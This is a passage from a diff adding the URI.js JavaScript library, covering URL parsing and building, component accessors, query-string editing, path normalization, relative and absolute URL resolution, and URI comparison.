+      default:
+        throw new TypeError('URI.hasQuery() accepts undefined, boolean, string, number, RegExp, Function as the value parameter');
+    }
+  };
+
+
+  URI.commonPath = function(one, two) {
+    var length = Math.min(one.length, two.length);
+    var pos;
+
+    // find first non-matching character
+    for (pos = 0; pos < length; pos++) {
+      if (one.charAt(pos) !== two.charAt(pos)) {
+        pos--;
+        break;
+      }
+    }
+
+    if (pos < 1) {
+      return one.charAt(0) === two.charAt(0) && one.charAt(0) === '/' ? '/' : '';
+    }
+
+    // revert to last /
+    if (one.charAt(pos) !== '/' || two.charAt(pos) !== '/') {
+      pos = one.substring(0, pos).lastIndexOf('/');
+    }
+
+    return one.substring(0, pos + 1);
+  };
+
+  URI.withinString = function(string, callback, options) {
+    options || (options = {});
+    var _start = options.start || URI.findUri.start;
+    var _end = options.end || URI.findUri.end;
+    var _trim = options.trim || URI.findUri.trim;
+    var _attributeOpen = /[a-z0-9-]=["']?$/i;
+
+    _start.lastIndex = 0;
+    while (true) {
+      var match = _start.exec(string);
+      if (!match) {
+        break;
+      }
+
+      var start = match.index;
+      if (options.ignoreHtml) {
+        // attribut(e=["']?$)
+        var attributeOpen = string.slice(Math.max(start - 3, 0), start);
+        if (attributeOpen && _attributeOpen.test(attributeOpen)) {
+          continue;
+        }
+      }
+
+      var end = start + string.slice(start).search(_end);
+      var slice = string.slice(start, end).replace(_trim, '');
+      if (options.ignore && options.ignore.test(slice)) {
+        continue;
+      }
+
+      end = start + slice.length;
+      var result = callback(slice, start, end, string);
+      string = string.slice(0, start) + result + string.slice(end);
+      _start.lastIndex = start + result.length;
+    }
+
+    _start.lastIndex = 0;
+    return string;
+  };
+
+  URI.ensureValidHostname = function(v) {
+    // Theoretically URIs allow percent-encoding in Hostnames (according to RFC 3986)
+    // they are not part of DNS and therefore ignored by URI.js
+
+    if (v.match(URI.invalid_hostname_characters)) {
+      // test punycode
+      if (!punycode) {
+        throw new TypeError('Hostname "' + v + '" contains characters other than [A-Z0-9.-] and Punycode.js is not available');
+      }
+
+      if (punycode.toASCII(v).match(URI.invalid_hostname_characters)) {
+        throw new TypeError('Hostname "' + v + '" contains characters other than [A-Z0-9.-]');
+      }
+    }
+  };
+
+  // noConflict
+  URI.noConflict = function(removeAll) {
+    if (removeAll) {
+      var unconflicted = {
+        URI: this.noConflict()
+      };
+
+      if (root.URITemplate && typeof root.URITemplate.noConflict === 'function') {
+        unconflicted.URITemplate = root.URITemplate.noConflict();
+      }
+
+      if (root.IPv6 && typeof root.IPv6.noConflict === 'function') {
+        unconflicted.IPv6 = root.IPv6.noConflict();
+      }
+
+      if (root.SecondLevelDomains && typeof root.SecondLevelDomains.noConflict === 'function') {
+        unconflicted.SecondLevelDomains = root.SecondLevelDomains.noConflict();
+      }
+
+      return unconflicted;
+    } else if (root.URI === this) {
+      root.URI = _URI;
+    }
+
+    return this;
+  };
+
+  p.build = function(deferBuild) {
+    if (deferBuild === true) {
+      this._deferred_build = true;
+    } else if (deferBuild === undefined || this._deferred_build) {
+      this._string = URI.build(this._parts);
+      this._deferred_build = false;
+    }
+
+    return this;
+  };
+
+  p.clone = function() {
+    return new URI(this);
+  };
+
+  p.valueOf = p.toString = function() {
+    return this.build(false)._string;
+  };
+
+
+  function generateSimpleAccessor(_part){
+    return function(v, build) {
+      if (v === undefined) {
+        return this._parts[_part] || '';
+      } else {
+        this._parts[_part] = v || null;
+        this.build(!build);
+        return this;
+      }
+    };
+  }
+
+  function generatePrefixAccessor(_part, _key){
+    return function(v, build) {
+      if (v === undefined) {
+        return this._parts[_part] || '';
+      } else {
+        if (v !== null) {
+          v = v + '';
+          if (v.charAt(0) === _key) {
+            v = v.substring(1);
+          }
+        }
+
+        this._parts[_part] = v;
+        this.build(!build);
+        return this;
+      }
+    };
+  }
+
+  p.protocol = generateSimpleAccessor('protocol');
+  p.username = generateSimpleAccessor('username');
+  p.password = generateSimpleAccessor('password');
+  p.hostname = generateSimpleAccessor('hostname');
+  p.port = generateSimpleAccessor('port');
+  p.query = generatePrefixAccessor('query', '?');
+  p.fragment = generatePrefixAccessor('fragment', '#');
+
+  p.search = function(v, build) {
+    var t = this.query(v, build);
+    return typeof t === 'string' && t.length ? ('?' + t) : t;
+  };
+  p.hash = function(v, build) {
+    var t = this.fragment(v, build);
+    return typeof t === 'string' && t.length ? ('#' + t) : t;
+  };
+
+  p.pathname = function(v, build) {
+    if (v === undefined || v === true) {
+      var res = this._parts.path || (this._parts.hostname ? '/' : '');
+      return v ? (this._parts.urn ? URI.decodeUrnPath : URI.decodePath)(res) : res;
+    } else {
+      if (this._parts.urn) {
+        this._parts.path = v ? URI.recodeUrnPath(v) : '';
+      } else {
+        this._parts.path = v ? URI.recodePath(v) : '/';
+      }
+      this.build(!build);
+      return this;
+    }
+  };
+  p.path = p.pathname;
+  p.href = function(href, build) {
+    var key;
+
+    if (href === undefined) {
+      return this.toString();
+    }
+
+    this._string = '';
+    this._parts = URI._parts();
+
+    var _URI = href instanceof URI;
+    var _object = typeof href === 'object' && (href.hostname || href.path || href.pathname);
+    if (href.nodeName) {
+      var attribute = URI.getDomAttribute(href);
+      href = href[attribute] || '';
+      _object = false;
+    }
+
+    // window.location is reported to be an object, but it's not the sort
+    // of object we're looking for:
+    // * location.protocol ends with a colon
+    // * location.query != object.search
+    // * location.hash != object.fragment
+    // simply serializing the unknown object should do the trick
+    // (for location, not for everything...)
+    if (!_URI && _object && href.pathname !== undefined) {
+      href = href.toString();
+    }
+
+    if (typeof href === 'string' || href instanceof String) {
+      this._parts = URI.parse(String(href), this._parts);
+    } else if (_URI || _object) {
+      var src = _URI ? href._parts : href;
+      for (key in src) {
+        if (hasOwn.call(this._parts, key)) {
+          this._parts[key] = src[key];
+        }
+      }
+    } else {
+      throw new TypeError('invalid input');
+    }
+
+    this.build(!build);
+    return this;
+  };
+
+  // identification accessors
+  p.is = function(what) {
+    var ip = false;
+    var ip4 = false;
+    var ip6 = false;
+    var name = false;
+    var sld = false;
+    var idn = false;
+    var punycode = false;
+    var relative = !this._parts.urn;
+
+    if (this._parts.hostname) {
+      relative = false;
+      ip4 = URI.ip4_expression.test(this._parts.hostname);
+      ip6 = URI.ip6_expression.test(this._parts.hostname);
+      ip = ip4 || ip6;
+      name = !ip;
+      sld = name && SLD && SLD.has(this._parts.hostname);
+      idn = name && URI.idn_expression.test(this._parts.hostname);
+      punycode = name && URI.punycode_expression.test(this._parts.hostname);
+    }
+
+    switch (what.toLowerCase()) {
+      case 'relative':
+        return relative;
+
+      case 'absolute':
+        return !relative;
+
+      // hostname identification
+      case 'domain':
+      case 'name':
+        return name;
+
+      case 'sld':
+        return sld;
+
+      case 'ip':
+        return ip;
+
+      case 'ip4':
+      case 'ipv4':
+      case 'inet4':
+        return ip4;
+
+      case 'ip6':
+      case 'ipv6':
+      case 'inet6':
+        return ip6;
+
+      case 'idn':
+        return idn;
+
+      case 'url':
+        return !this._parts.urn;
+
+      case 'urn':
+        return !!this._parts.urn;
+
+      case 'punycode':
+        return punycode;
+    }
+
+    return null;
+  };
+
+  // component specific input validation
+  var _protocol = p.protocol;
+  var _port = p.port;
+  var _hostname = p.hostname;
+
+  p.protocol = function(v, build) {
+    if (v !== undefined) {
+      if (v) {
+        // accept trailing ://
+        v = v.replace(/:(\/\/)?$/, '');
+
+        if (!v.match(URI.protocol_expression)) {
+          throw new TypeError('Protocol "' + v + '" contains characters other than [A-Z0-9.+-] or doesn\'t start with [A-Z]');
+        }
+      }
+    }
+    return _protocol.call(this, v, build);
+  };
+  p.scheme = p.protocol;
+  p.port = function(v, build) {
+    if (this._parts.urn) {
+      return v === undefined ? '' : this;
+    }
+
+    if (v !== undefined) {
+      if (v === 0) {
+        v = null;
+      }
+
+      if (v) {
+        v += '';
+        if (v.charAt(0) === ':') {
+          v = v.substring(1);
+        }
+
+        if (v.match(/[^0-9]/)) {
+          throw new TypeError('Port "' + v + '" contains characters other than [0-9]');
+        }
+      }
+    }
+    return _port.call(this, v, build);
+  };
+  p.hostname = function(v, build) {
+    if (this._parts.urn) {
+      return v === undefined ? '' : this;
+    }
+
+    if (v !== undefined) {
+      var x = {};
+      var res = URI.parseHost(v, x);
+      if (res !== '/') {
+        throw new TypeError('Hostname "' + v + '" contains characters other than [A-Z0-9.-]');
+      }
+
+      v = x.hostname;
+    }
+    return _hostname.call(this, v, build);
+  };
+
+  // compound accessors
+  p.origin = function(v, build) {
+    var parts;
+
+    if (this._parts.urn) {
+      return v === undefined ? '' : this;
+    }
+
+    if (v === undefined) {
+      var protocol = this.protocol();
+      var authority = this.authority();
+      if (!authority) return '';
+      return (protocol ? protocol + '://' : '') + this.authority();
+    } else {
+      var origin = URI(v);
+      this
+        .protocol(origin.protocol())
+        .authority(origin.authority())
+        .build(!build);
+      return this;
+    }
+  };
+  p.host = function(v, build) {
+    if (this._parts.urn) {
+      return v === undefined ? '' : this;
+    }
+
+    if (v === undefined) {
+      return this._parts.hostname ? URI.buildHost(this._parts) : '';
+    } else {
+      var res = URI.parseHost(v, this._parts);
+      if (res !== '/') {
+        throw new TypeError('Hostname "' + v + '" contains characters other than [A-Z0-9.-]');
+      }
+
+      this.build(!build);
+      return this;
+    }
+  };
+  p.authority = function(v, build) {
+    if (this._parts.urn) {
+      return v === undefined ? '' : this;
+    }
+
+    if (v === undefined) {
+      return this._parts.hostname ? URI.buildAuthority(this._parts) : '';
+    } else {
+      var res = URI.parseAuthority(v, this._parts);
+      if (res !== '/') {
+        throw new TypeError('Hostname "' + v + '" contains characters other than [A-Z0-9.-]');
+      }
+
+      this.build(!build);
+      return this;
+    }
+  };
+  p.userinfo = function(v, build) {
+    if (this._parts.urn) {
+      return v === undefined ? '' : this;
+    }
+
+    if (v === undefined) {
+      if (!this._parts.username) {
+        return '';
+      }
+
+      var t = URI.buildUserinfo(this._parts);
+      return t.substring(0, t.length -1);
+    } else {
+      if (v[v.length-1] !== '@') {
+        v += '@';
+      }
+
+      URI.parseUserinfo(v, this._parts);
+      this.build(!build);
+      return this;
+    }
+  };
+  p.resource = function(v, build) {
+    var parts;
+
+    if (v === undefined) {
+      return this.path() + this.search() + this.hash();
+    }
+
+    parts = URI.parse(v);
+    this._parts.path = parts.path;
+    this._parts.query = parts.query;
+    this._parts.fragment = parts.fragment;
+    this.build(!build);
+    return this;
+  };
+
+  // fraction accessors
+  p.subdomain = function(v, build) {
+    if (this._parts.urn) {
+      return v === undefined ? '' : this;
+    }
+
+    // convenience, return "www" from "www.example.org"
+    if (v === undefined) {
+      if (!this._parts.hostname || this.is('IP')) {
+        return '';
+      }
+
+      // grab domain and add another segment
+      var end = this._parts.hostname.length - this.domain().length - 1;
+      return this._parts.hostname.substring(0, end) || '';
+    } else {
+      var e = this._parts.hostname.length - this.domain().length;
+      var sub = this._parts.hostname.substring(0, e);
+      var replace = new RegExp('^' + escapeRegEx(sub));
+
+      if (v && v.charAt(v.length - 1) !== '.') {
+        v += '.';
+      }
+
+      if (v) {
+        URI.ensureValidHostname(v);
+      }
+
+      this._parts.hostname = this._parts.hostname.replace(replace, v);
+      this.build(!build);
+      return this;
+    }
+  };
+  p.domain = function(v, build) {
+    if (this._parts.urn) {
+      return v === undefined ? '' : this;
+    }
+
+    if (typeof v === 'boolean') {
+      build = v;
+      v = undefined;
+    }
+
+    // convenience, return "example.org" from "www.example.org"
+    if (v === undefined) {
+      if (!this._parts.hostname || this.is('IP')) {
+        return '';
+      }
+
+      // if hostname consists of 1 or 2 segments, it must be the domain
+      var t = this._parts.hostname.match(/\./g);
+      if (t && t.length < 2) {
+        return this._parts.hostname;
+      }
+
+      // grab tld and add another segment
+      var end = this._parts.hostname.length - this.tld(build).length - 1;
+      end = this._parts.hostname.lastIndexOf('.', end -1) + 1;
+      return this._parts.hostname.substring(end) || '';
+    } else {
+      if (!v) {
+        throw new TypeError('cannot set domain empty');
+      }
+
+      URI.ensureValidHostname(v);
+
+      if (!this._parts.hostname || this.is('IP')) {
+        this._parts.hostname = v;
+      } else {
+        var replace = new RegExp(escapeRegEx(this.domain()) + '$');
+        this._parts.hostname = this._parts.hostname.replace(replace, v);
+      }
+
+      this.build(!build);
+      return this;
+    }
+  };
+  p.tld = function(v, build) {
+    if (this._parts.urn) {
+      return v === undefined ? '' : this;
+    }
+
+    if (typeof v === 'boolean') {
+      build = v;
+      v = undefined;
+    }
+
+    // return "org" from "www.example.org"
+    if (v === undefined) {
+      if (!this._parts.hostname || this.is('IP')) {
+        return '';
+      }
+
+      var pos = this._parts.hostname.lastIndexOf('.');
+      var tld = this._parts.hostname.substring(pos + 1);
+
+      if (build !== true && SLD && SLD.list[tld.toLowerCase()]) {
+        return SLD.get(this._parts.hostname) || tld;
+      }
+
+      return tld;
+    } else {
+      var replace;
+
+      if (!v) {
+        throw new TypeError('cannot set TLD empty');
+      } else if (v.match(/[^a-zA-Z0-9-]/)) {
+        if (SLD && SLD.is(v)) {
+          replace = new RegExp(escapeRegEx(this.tld()) + '$');
+          this._parts.hostname = this._parts.hostname.replace(replace, v);
+        } else {
+          throw new TypeError('TLD "' + v + '" contains characters other than [A-Z0-9]');
+        }
+      } else if (!this._parts.hostname || this.is('IP')) {
+        throw new ReferenceError('cannot set TLD on non-domain host');
+      } else {
+        replace = new RegExp(escapeRegEx(this.tld()) + '$');
+        this._parts.hostname = this._parts.hostname.replace(replace, v);
+      }
+
+      this.build(!build);
+      return this;
+    }
+  };
+  p.directory = function(v, build) {
+    if (this._parts.urn) {
+      return v === undefined ? '' : this;
+    }
+
+    if (v === undefined || v === true) {
+      if (!this._parts.path && !this._parts.hostname) {
+        return '';
+      }
+
+      if (this._parts.path === '/') {
+        return '/';
+      }
+
+      var end = this._parts.path.length - this.filename().length - 1;
+      var res = this._parts.path.substring(0, end) || (this._parts.hostname ? '/' : '');
+
+      return v ? URI.decodePath(res) : res;
+
+    } else {
+      var e = this._parts.path.length - this.filename().length;
+      var directory = this._parts.path.substring(0, e);
+      var replace = new RegExp('^' + escapeRegEx(directory));
+
+      // fully qualifier directories begin with a slash
+      if (!this.is('relative')) {
+        if (!v) {
+          v = '/';
+        }
+
+        if (v.charAt(0) !== '/') {
+          v = '/' + v;
+        }
+      }
+
+      // directories always end with a slash
+      if (v && v.charAt(v.length - 1) !== '/') {
+        v += '/';
+      }
+
+      v = URI.recodePath(v);
+      this._parts.path = this._parts.path.replace(replace, v);
+      this.build(!build);
+      return this;
+    }
+  };
+  p.filename = function(v, build) {
+    if (this._parts.urn) {
+      return v === undefined ? '' : this;
+    }
+
+    if (v === undefined || v === true) {
+      if (!this._parts.path || this._parts.path === '/') {
+        return '';
+      }
+
+      var pos = this._parts.path.lastIndexOf('/');
+      var res = this._parts.path.substring(pos+1);
+
+      return v ? URI.decodePathSegment(res) : res;
+    } else {
+      var mutatedDirectory = false;
+
+      if (v.charAt(0) === '/') {
+        v = v.substring(1);
+      }
+
+      if (v.match(/\.?\//)) {
+        mutatedDirectory = true;
+      }
+
+      var replace = new RegExp(escapeRegEx(this.filename()) + '$');
+      v = URI.recodePath(v);
+      this._parts.path = this._parts.path.replace(replace, v);
+
+      if (mutatedDirectory) {
+        this.normalizePath(build);
+      } else {
+        this.build(!build);
+      }
+
+      return this;
+    }
+  };
+  p.suffix = function(v, build) {
+    if (this._parts.urn) {
+      return v === undefined ? '' : this;
+    }
+
+    if (v === undefined || v === true) {
+      if (!this._parts.path || this._parts.path === '/') {
+        return '';
+      }
+
+      var filename = this.filename();
+      var pos = filename.lastIndexOf('.');
+      var s, res;
+
+      if (pos === -1) {
+        return '';
+      }
+
+      // suffix may only contain alnum characters (yup, I made this up.)
+      s = filename.substring(pos+1);
+      res = (/^[a-z0-9%]+$/i).test(s) ? s : '';
+      return v ? URI.decodePathSegment(res) : res;
+    } else {
+      if (v.charAt(0) === '.') {
+        v = v.substring(1);
+      }
+
+      var suffix = this.suffix();
+      var replace;
+
+      if (!suffix) {
+        if (!v) {
+          return this;
+        }
+
+        this._parts.path += '.' + URI.recodePath(v);
+      } else if (!v) {
+        replace = new RegExp(escapeRegEx('.' + suffix) + '$');
+      } else {
+        replace = new RegExp(escapeRegEx(suffix) + '$');
+      }
+
+      if (replace) {
+        v = URI.recodePath(v);
+        this._parts.path = this._parts.path.replace(replace, v);
+      }
+
+      this.build(!build);
+      return this;
+    }
+  };
+  p.segment = function(segment, v, build) {
+    var separator = this._parts.urn ? ':' : '/';
+    var path = this.path();
+    var absolute = path.substring(0, 1) === '/';
+    var segments = path.split(separator);
+
+    if (segment !== undefined && typeof segment !== 'number') {
+      build = v;
+      v = segment;
+      segment = undefined;
+    }
+
+    if (segment !== undefined && typeof segment !== 'number') {
+      throw new Error('Bad segment "' + segment + '", must be 0-based integer');
+    }
+
+    if (absolute) {
+      segments.shift();
+    }
+
+    if (segment < 0) {
+      // allow negative indexes to address from the end
+      segment = Math.max(segments.length + segment, 0);
+    }
+
+    if (v === undefined) {
+      /*jshint laxbreak: true */
+      return segment === undefined
+        ? segments
+        : segments[segment];
+      /*jshint laxbreak: false */
+    } else if (segment === null || segments[segment] === undefined) {
+      if (isArray(v)) {
+        segments = [];
+        // collapse empty elements within array
+        for (var i=0, l=v.length; i < l; i++) {
+          if (!v[i].length && (!segments.length || !segments[segments.length -1].length)) {
+            continue;
+          }
+
+          if (segments.length && !segments[segments.length -1].length) {
+            segments.pop();
+          }
+
+          segments.push(trimSlashes(v[i]));
+        }
+      } else if (v || typeof v === 'string') {
+        v = trimSlashes(v);
+        if (segments[segments.length -1] === '') {
+          // empty trailing elements have to be overwritten
+          // to prevent results such as /foo//bar
+          segments[segments.length -1] = v;
+        } else {
+          segments.push(v);
+        }
+      }
+    } else {
+      if (v) {
+        segments[segment] = trimSlashes(v);
+      } else {
+        segments.splice(segment, 1);
+      }
+    }
+
+    if (absolute) {
+      segments.unshift('');
+    }
+
+    return this.path(segments.join(separator), build);
+  };
+  p.segmentCoded = function(segment, v, build) {
+    var segments, i, l;
+
+    if (typeof segment !== 'number') {
+      build = v;
+      v = segment;
+      segment = undefined;
+    }
+
+    if (v === undefined) {
+      segments = this.segment(segment, v, build);
+      if (!isArray(segments)) {
+        segments = segments !== undefined ? URI.decode(segments) : undefined;
+      } else {
+        for (i = 0, l = segments.length; i < l; i++) {
+          segments[i] = URI.decode(segments[i]);
+        }
+      }
+
+      return segments;
+    }
+
+    if (!isArray(v)) {
+      v = (typeof v === 'string' || v instanceof String) ? URI.encode(v) : v;
+    } else {
+      for (i = 0, l = v.length; i < l; i++) {
+        v[i] = URI.encode(v[i]);
+      }
+    }
+
+    return this.segment(segment, v, build);
+  };
+
+  // mutating query string
+  var q = p.query;
+  p.query = function(v, build) {
+    if (v === true) {
+      return URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);
+    } else if (typeof v === 'function') {
+      var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);
+      var result = v.call(this, data);
+      this._parts.query = URI.buildQuery(result || data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);
+      this.build(!build);
+      return this;
+    } else if (v !== undefined && typeof v !== 'string') {
+      this._parts.query = URI.buildQuery(v, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);
+      this.build(!build);
+      return this;
+    } else {
+      return q.call(this, v, build);
+    }
+  };
+  p.setQuery = function(name, value, build) {
+    var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);
+
+    if (typeof name === 'string' || name instanceof String) {
+      data[name] = value !== undefined ? value : null;
+    } else if (typeof name === 'object') {
+      for (var key in name) {
+        if (hasOwn.call(name, key)) {
+          data[key] = name[key];
+        }
+      }
+    } else {
+      throw new TypeError('URI.addQuery() accepts an object, string as the name parameter');
+    }
+
+    this._parts.query = URI.buildQuery(data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);
+    if (typeof name !== 'string') {
+      build = value;
+    }
+
+    this.build(!build);
+    return this;
+  };
+  p.addQuery = function(name, value, build) {
+    var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);
+    URI.addQuery(data, name, value === undefined ? null : value);
+    this._parts.query = URI.buildQuery(data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);
+    if (typeof name !== 'string') {
+      build = value;
+    }
+
+    this.build(!build);
+    return this;
+  };
+  p.removeQuery = function(name, value, build) {
+    var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);
+    URI.removeQuery(data, name, value);
+    this._parts.query = URI.buildQuery(data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);
+    if (typeof name !== 'string') {
+      build = value;
+    }
+
+    this.build(!build);
+    return this;
+  };
+  p.hasQuery = function(name, value, withinArray) {
+    var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);
+    return URI.hasQuery(data, name, value, withinArray);
+  };
+  p.setSearch = p.setQuery;
+  p.addSearch = p.addQuery;
+  p.removeSearch = p.removeQuery;
+  p.hasSearch = p.hasQuery;
+
+  // sanitizing URLs
+  p.normalize = function() {
+    if (this._parts.urn) {
+      return this
+        .normalizeProtocol(false)
+        .normalizePath(false)
+        .normalizeQuery(false)
+        .normalizeFragment(false)
+        .build();
+    }
+
+    return this
+      .normalizeProtocol(false)
+      .normalizeHostname(false)
+      .normalizePort(false)
+      .normalizePath(false)
+      .normalizeQuery(false)
+      .normalizeFragment(false)
+      .build();
+  };
+  p.normalizeProtocol = function(build) {
+    if (typeof this._parts.protocol === 'string') {
+      this._parts.protocol = this._parts.protocol.toLowerCase();
+      this.build(!build);
+    }
+
+    return this;
+  };
+  p.normalizeHostname = function(build) {
+    if (this._parts.hostname) {
+      if (this.is('IDN') && punycode) {
+        this._parts.hostname = punycode.toASCII(this._parts.hostname);
+      } else if (this.is('IPv6') && IPv6) {
+        this._parts.hostname = IPv6.best(this._parts.hostname);
+      }
+
+      this._parts.hostname = this._parts.hostname.toLowerCase();
+      this.build(!build);
+    }
+
+    return this;
+  };
+  p.normalizePort = function(build) {
+    // remove port of it's the protocol's default
+    if (typeof this._parts.protocol === 'string' && this._parts.port === URI.defaultPorts[this._parts.protocol]) {
+      this._parts.port = null;
+      this.build(!build);
+    }
+
+    return this;
+  };
+  p.normalizePath = function(build) {
+    var _path = this._parts.path;
+    if (!_path) {
+      return this;
+    }
+
+    if (this._parts.urn) {
+      this._parts.path = URI.recodeUrnPath(this._parts.path);
+      this.build(!build);
+      return this;
+    }
+
+    if (this._parts.path === '/') {
+      return this;
+    }
+
+    var _was_relative;
+    var _leadingParents = '';
+    var _parent, _pos;
+
+    // handle relative paths
+    if (_path.charAt(0) !== '/') {
+      _was_relative = true;
+      _path = '/' + _path;
+    }
+
+    // handle relative files (as opposed to directories)
+    if (_path.slice(-3) === '/..' || _path.slice(-2) === '/.') {
+      _path += '/';
+    }
+
+    // resolve simples
+    _path = _path
+      .replace(/(\/(\.\/)+)|(\/\.$)/g, '/')
+      .replace(/\/{2,}/g, '/');
+
+    // remember leading parents
+    if (_was_relative) {
+      _leadingParents = _path.substring(1).match(/^(\.\.\/)+/) || '';
+      if (_leadingParents) {
+        _leadingParents = _leadingParents[0];
+      }
+    }
+
+    // resolve parents
+    while (true) {
+      _parent = _path.indexOf('/..');
+      if (_parent === -1) {
+        // no more ../ to resolve
+        break;
+      } else if (_parent === 0) {
+        // top level cannot be relative, skip it
+        _path = _path.substring(3);
+        continue;
+      }
+
+      _pos = _path.substring(0, _parent).lastIndexOf('/');
+      if (_pos === -1) {
+        _pos = _parent;
+      }
+      _path = _path.substring(0, _pos) + _path.substring(_parent + 3);
+    }
+
+    // revert to relative
+    if (_was_relative && this.is('relative')) {
+      _path = _leadingParents + _path.substring(1);
+    }
+
+    _path = URI.recodePath(_path);
+    this._parts.path = _path;
+    this.build(!build);
+    return this;
+  };
+  p.normalizePathname = p.normalizePath;
+  p.normalizeQuery = function(build) {
+    if (typeof this._parts.query === 'string') {
+      if (!this._parts.query.length) {
+        this._parts.query = null;
+      } else {
+        this.query(URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace));
+      }
+
+      this.build(!build);
+    }
+
+    return this;
+  };
+  p.normalizeFragment = function(build) {
+    if (!this._parts.fragment) {
+      this._parts.fragment = null;
+      this.build(!build);
+    }
+
+    return this;
+  };
+  p.normalizeSearch = p.normalizeQuery;
+  p.normalizeHash = p.normalizeFragment;
+
+  p.iso8859 = function() {
+    // expect unicode input, iso8859 output
+    var e = URI.encode;
+    var d = URI.decode;
+
+    URI.encode = escape;
+    URI.decode = decodeURIComponent;
+    try {
+      this.normalize();
+    } finally {
+      URI.encode = e;
+      URI.decode = d;
+    }
+    return this;
+  };
+
+  p.unicode = function() {
+    // expect iso8859 input, unicode output
+    var e = URI.encode;
+    var d = URI.decode;
+
+    URI.encode = strictEncodeURIComponent;
+    URI.decode = unescape;
+    try {
+      this.normalize();
+    } finally {
+      URI.encode = e;
+      URI.decode = d;
+    }
+    return this;
+  };
+
+  p.readable = function() {
+    var uri = this.clone();
+    // removing username, password, because they shouldn't be displayed according to RFC 3986
+    uri.username('').password('').normalize();
+    var t = '';
+    if (uri._parts.protocol) {
+      t += uri._parts.protocol + '://';
+    }
+
+    if (uri._parts.hostname) {
+      if (uri.is('punycode') && punycode) {
+        t += punycode.toUnicode(uri._parts.hostname);
+        if (uri._parts.port) {
+          t += ':' + uri._parts.port;
+        }
+      } else {
+        t += uri.host();
+      }
+    }
+
+    if (uri._parts.hostname && uri._parts.path && uri._parts.path.charAt(0) !== '/') {
+      t += '/';
+    }
+
+    t += uri.path(true);
+    if (uri._parts.query) {
+      var q = '';
+      for (var i = 0, qp = uri._parts.query.split('&'), l = qp.length; i < l; i++) {
+        var kv = (qp[i] || '').split('=');
+        q += '&' + URI.decodeQuery(kv[0], this._parts.escapeQuerySpace)
+          .replace(/&/g, '%26');
+
+        if (kv[1] !== undefined) {
+          q += '=' + URI.decodeQuery(kv[1], this._parts.escapeQuerySpace)
+            .replace(/&/g, '%26');
+        }
+      }
+      t += '?' + q.substring(1);
+    }
+
+    t += URI.decodeQuery(uri.hash(), true);
+    return t;
+  };
+
+  // resolving relative and absolute URLs
+  p.absoluteTo = function(base) {
+    var resolved = this.clone();
+    var properties = ['protocol', 'username', 'password', 'hostname', 'port'];
+    var basedir, i, p;
+
+    if (this._parts.urn) {
+      throw new Error('URNs do not have any generally defined hierarchical components');
+    }
+
+    if (!(base instanceof URI)) {
+      base = new URI(base);
+    }
+
+    if (!resolved._parts.protocol) {
+      resolved._parts.protocol = base._parts.protocol;
+    }
+
+    if (this._parts.hostname) {
+      return resolved;
+    }
+
+    for (i = 0; (p = properties[i]); i++) {
+      resolved._parts[p] = base._parts[p];
+    }
+
+    if (!resolved._parts.path) {
+      resolved._parts.path = base._parts.path;
+      if (!resolved._parts.query) {
+        resolved._parts.query = base._parts.query;
+      }
+    } else if (resolved._parts.path.substring(-2) === '..') {
+      resolved._parts.path += '/';
+    }
+
+    if (resolved.path().charAt(0) !== '/') {
+      basedir = base.directory();
+      basedir = basedir ? basedir : base.path().indexOf('/') === 0 ? '/' : '';
+      resolved._parts.path = (basedir ? (basedir + '/') : '') + resolved._parts.path;
+      resolved.normalizePath();
+    }
+
+    resolved.build();
+    return resolved;
+  };
+  p.relativeTo = function(base) {
+    var relative = this.clone().normalize();
+    var relativeParts, baseParts, common, relativePath, basePath;
+
+    if (relative._parts.urn) {
+      throw new Error('URNs do not have any generally defined hierarchical components');
+    }
+
+    base = new URI(base).normalize();
+    relativeParts = relative._parts;
+    baseParts = base._parts;
+    relativePath = relative.path();
+    basePath = base.path();
+
+    if (relativePath.charAt(0) !== '/') {
+      throw new Error('URI is already relative');
+    }
+
+    if (basePath.charAt(0) !== '/') {
+      throw new Error('Cannot calculate a URI relative to another relative URI');
+    }
+
+    if (relativeParts.protocol === baseParts.protocol) {
+      relativeParts.protocol = null;
+    }
+
+    if (relativeParts.username !== baseParts.username || relativeParts.password !== baseParts.password) {
+      return relative.build();
+    }
+
+    if (relativeParts.protocol !== null || relativeParts.username !== null || relativeParts.password !== null) {
+      return relative.build();
+    }
+
+    if (relativeParts.hostname === baseParts.hostname && relativeParts.port === baseParts.port) {
+      relativeParts.hostname = null;
+      relativeParts.port = null;
+    } else {
+      return relative.build();
+    }
+
+    if (relativePath === basePath) {
+      relativeParts.path = '';
+      return relative.build();
+    }
+
+    // determine common sub path
+    common = URI.commonPath(relativePath, basePath);
+
+    // If the paths have nothing in common, return a relative URL with the absolute path.
+    if (!common) {
+      return relative.build();
+    }
+
+    var parents = baseParts.path
+      .substring(common.length)
+      .replace(/[^\/]*$/, '')
+      .replace(/.*?\//g, '../');
+
+    relativeParts.path = (parents + relativeParts.path.substring(common.length)) || './';
+
+    return relative.build();
+  };
+
+  // comparing URIs
+  p.equals = function(uri) {
+    var one = this.clone();
+    var two = new URI(uri);
+    var one_map = {};
+    var two_map = {};
+    var checked = {};
+    var one_query, two_query, key;
+
+    one.normalize();
+    two.normalize();
+
+    // exact match
+    if (one.toString() === two.toString()) {
+      return true;
+    }
+
+    // extract query string
+    one_query = one.query();
+    two_query = two.query();
+    one.query('');
+    two.query('');
+
+    // definitely not equal if not even non-query parts match
+    if (one.toString() !== two.toString()) {
+      return false;
+    }
+
+    // query parameters have the same length, even if they're permuted
+    if (one_query.length !== two_query.length) {
+      return false;
+    }
+
+    one_map = URI.parseQuery(one_query, this._parts.escapeQuerySpace);
+    two_map = URI.parseQuery(two_query, this._parts.escapeQuerySpace);
+
+    for (key in one_map) {
+      if (hasOwn.call(one_map, key)) {
+        if (!isArray(one_map[key])) {
+          if (one_map[key] !== two_map[key]) {
+            return false;
+          }
+        } else if (!arraysEqual(one_map[key], two_map[key])) {
+          return false;
+        }
+
+        checked[key] = true;
+      }
+    }
+
+    for (key in two_map) {
